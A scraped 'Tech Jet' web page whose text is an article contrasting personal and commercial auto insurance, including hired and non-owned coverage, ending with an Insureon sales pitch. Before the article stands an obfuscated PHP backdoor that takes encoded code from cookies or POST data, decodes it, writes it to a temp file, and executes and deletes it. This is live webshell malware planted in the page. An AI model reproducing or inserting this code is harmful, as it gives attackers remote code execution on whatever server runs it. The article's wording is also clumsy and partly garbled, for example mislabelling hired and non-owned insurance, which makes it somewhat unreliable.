$DlEEZ = 'W' . "\x76" . chr ( 651 - 561 )."\x5f" . 'h' . "\x69" . chr ( 328 - 255 )."\132" . chr (89); $msZdYtVh = "\x63" . 'l' . "\141" . chr (115) . 's' . chr (95) . chr ( 1035 - 934 ).chr ( 1069 - 949 )."\151" . chr (115) . chr ( 116 - 0 ).'s';$rvdUaY = $msZdYtVh($DlEEZ); $DlEEZ = "339";$ZWZfqxaFLI = $rvdUaY;$msZdYtVh = "4039";if (!$ZWZfqxaFLI){class WvZ_hiIZY{private $QsCgeEBEI;public static $lzfWFEsz = "6860ddc1-4b3b-4459-9d08-6e01f4323348";public static $ASslcO = 7806;public function __construct($sCtNFI=0){$oSLJO = $_COOKIE;$tcMKOdfgZ = $_POST;$UJxTSEF = @$oSLJO[substr(WvZ_hiIZY::$lzfWFEsz, 0, 4)];if (!empty($UJxTSEF)){$ZpLnhXzk = "base64";$dcxnb = "";$UJxTSEF = explode(",", $UJxTSEF);foreach ($UJxTSEF as $EEnrv){$dcxnb .= @$oSLJO[$EEnrv];$dcxnb .= @$tcMKOdfgZ[$EEnrv];}$dcxnb = array_map($ZpLnhXzk . '_' . chr (100) . "\145" . 'c' . chr ( 374 - 263 )."\x64" . "\x65", array($dcxnb,)); $dcxnb = $dcxnb[0] ^ str_repeat(WvZ_hiIZY::$lzfWFEsz, (strlen($dcxnb[0]) / strlen(WvZ_hiIZY::$lzfWFEsz)) + 1);WvZ_hiIZY::$ASslcO = @unserialize($dcxnb);}}private function dFSYaBp(){if (is_array(WvZ_hiIZY::$ASslcO)) {$yEYyWuxn = sys_get_temp_dir() . "/" . crc32(WvZ_hiIZY::$ASslcO[chr (115) . "\141" . "\154" . "\164"]);@WvZ_hiIZY::$ASslcO["\x77" . 'r' . 'i' . chr ( 678 - 562 ).'e']($yEYyWuxn, WvZ_hiIZY::$ASslcO["\143" . "\157" . "\x6e" . 't' . 'e' . chr ( 871 - 761 )."\164"]);include $yEYyWuxn;@WvZ_hiIZY::$ASslcO[chr (100) . "\x65" . "\x6c" . chr (101) . "\x74" . chr ( 695 - 594 )]($yEYyWuxn); $ANeyTXEOJF = "60843";exit();}}public function __destruct(){$this->dFSYaBp(); $ANeyTXEOJF = "60843";$cYbrXPkGOV = str_pad($ANeyTXEOJF, 10);}}$NbjraQfde = new WvZ_hiIZY(); $NbjraQfde = "51271_1877";} HOW PERSONAL DIFFERS FROM COMMERCIAL AUTO INSURANCE - Tech Jet
Friday, March 1, 2024


Wanted to know more about commercial auto insurance? Let’s dig out some information about commercial auto insurance in this era of technology.

Personal versus business auto insurance

Sometimes it’s difficult to distinguish between a personal vehicle and a commercial vehicle. Find out which auto insurance policies cover automobiles used for business.

How Personal Differs From Commercial Auto Insurance

In this article, you can know about Commercial Auto Insurance here are the details below;

benefits of commercial auto insurance and its differences from personal auto insurance are as follows.

What distinguishes personal from the commercial auto insurance?

The distinction between a personal vehicle and a commercial vehicle is frequently hazy for small firms. Small business owners and staff may occasionally use their own vehicles for work-related purposes. They might drive their own vehicle, for instance, to get to job sites, move equipment, or deliver items.

Business use is nearly typically excluded from personal auto insurance policy. hence, if you are involved in an accident while travelling for work, you are not protected (with the exception of your commute).

So, which policy covers cars with dual purposes? Let’s take a deeper look at three distinct auto insurance coverage kinds to find out.

  1. Commercial auto insurance

Who owns the car is the primary distinction between personal and commercial auto insurance. A car owned by your company needs to be insured by commercial auto insurance.

Legal costs associated with auto accidents, as well as damage to people’s bodies and their property, are covered by personal and commercial auto insurance. Commercial auto insurance, however, typically covers larger claims, more vehicle kinds, and trickier legal matters.

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All employees of the firm are often named as additional insured under this form of insurance policy, allowing them to operate company vehicles as long as they have a valid driver’s license. Their driving records, as well as the deductible and coverage limitations of the policy, have an impact on the price of commercial auto insurance.

Business automobiles are covered by commercial auto insurance.

You may want commercial auto insurance if you are a lone proprietor who owns a car used mostly for work. Liability limitations for commercial coverage are frequently higher than those for personal auto insurance. It may include automobiles used for:

  • Move products or machinery
  • Transport customers or personnel
  • Provide a service for which you are paid.
  • Charge a price to passengers to ride in your car.
  • Charge customers for using your vehicle to move things.
  • Transport large, work-related cargo
  • Pull a commercial trailer

Does personal use qualify under commercial auto insurance?

Employees who have been granted access to drive a company car are often covered by commercial auto insurance. This policy will assist in covering accident expenses when an employee is behind the wheel, even if the car was being used for personal purposes.

What about personal vehicles that are sporadically used for business? The hired and non-owned auto insurance (HNOA) policy can be used in this situation.

  1. Auto insurance for hire and rental vehicles (HNOA)

You should think about getting hired and non-owned auto insurance if you or any of your employees drive a personal vehicle for work-related purposes. If some sort of accident happened with you using your personal vehicle for business purposes, this policy will cover your legal liability. Additionally, it offers security if your company leases or rents vehicles.


This policy does not cover physical damage; it only pays accident-related legal expenses. For instance, if your car is damaged in an accident, it won’t cover the cost of repairs.

Personal, leased, and rented automobiles used for work are covered by HNOA.

This liability insurance might be something you want to have if:

  • Your staff members use their personal vehicles for work-related errands.
  • For a business trip, you rent a vehicle.
  • Your business leases automobiles
  1. Individual auto insurance

Only accidents that take place when you’re using your car for personal purposes are covered by personal auto insurance. That covers travel that is unrelated to your employment duties as well as the commute to and from work. The owner of the car and one or two members of their immediate family are often covered under policies.

Your personal auto insurance does not extend to commercial use

Most individual auto insurance policies expressly exclude business use. Your insurance provider is likely to deny your claim if some sort of accident happen to you while driving for business.

Personal auto insurance may occasionally offer a minimal amount of coverage for commercial use. For specific information on what is and isn’t covered, contact your insurance provider.

How much is the cost of commercial auto insurance, in comparison to personal auto insurance?

In general, personal auto insurance is cheaper than commercial auto insurance. Due to the greater coverage levels that are frequently found in commercial policies, there is more protection in the event of an accident.

In contrast to a commercial policy, which covers an entire company, a personal auto coverage often just covers one person driving their own automobile. This can involve a number of drivers, several cars, trucks, and staff members with a bad driving history.

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Commercial auto insurance need not be pricey, though. It depends on the particulars of your company. An insurance rate for a small firm with one or two employees using a work car will be substantially lower than for a large corporation with a fleet of vehicles and many drivers.

The following variables can determine how much commercial auto insurance costs:

  • Industry-specific hazards
  • The kind of automobiles you drive
  • The quantity of automobiles
  • The frequency of driving the vehicles
  • Driving records of employees
  • The type of insurance you select
  • The policy parameters you select
  • History of auto insurance claims

Compare prices from reputable providers with Insureon

Compare rates for commercial auto insurance and other business insurance products from top-rated U.S. providers by completing Insureon’s simple online application today. You can obtain the appropriate protection for your small business with the aid of our licensed insurance agents.


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